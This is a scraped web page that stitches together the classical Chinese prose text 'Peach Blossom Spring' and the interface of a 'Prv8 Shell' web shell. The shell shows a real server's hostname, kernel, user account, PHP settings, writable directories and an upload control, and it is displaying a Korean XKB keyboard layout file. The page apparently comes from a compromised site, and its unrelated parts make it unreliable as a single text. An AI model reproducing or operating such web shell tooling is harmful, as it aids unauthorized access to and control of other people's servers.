晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/X11/xkb/symbols/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/X11/xkb/symbols/kr
default  alphanumeric_keys
xkb_symbols "kr106" {
    include "us"
    name[Group1]= "Korean";
    include "kr(hw_keys)"
};

alphanumeric_keys
xkb_symbols "kr104" {
    include "us"
    name[Group1]= "Korean (101/104 key compatible)";
    include "kr(ralt_hangul)"
    include "kr(rctrl_hanja)"
};

partial function_keys
xkb_symbols "hw_keys" {
    key <HNGL> { [ Hangul       ] };
    key <HJCV> { [ Hangul_Hanja ] };
};

partial function_keys
xkb_symbols "ralt_hangul" {
    replace key <RALT> {
        type[Group1] = "ONE_LEVEL",
        symbols[Group1]= [ Hangul ]
    };
};

partial function_keys
xkb_symbols "rctrl_hangul" {
    replace key <RCTL> {
        type[Group1] = "ONE_LEVEL",
        symbols[Group1]= [ Hangul ]
    };
};

partial function_keys
xkb_symbols "ralt_hanja" {
    replace key <RALT> {
        type[Group1] = "ONE_LEVEL",
        symbols[Group1]= [ Hangul_Hanja ]
    };
};

partial function_keys
xkb_symbols "rctrl_hanja" {
    replace key <RCTL> {
        type[Group1] = "ONE_LEVEL",
        symbols[Group1]= [ Hangul_Hanja ]
    };
};

// EXTRAS:

partial alphanumeric_keys
	xkb_symbols "sun_type6" {
	include "sun_vndr/kr(sun_type6)"
};

haha - 2025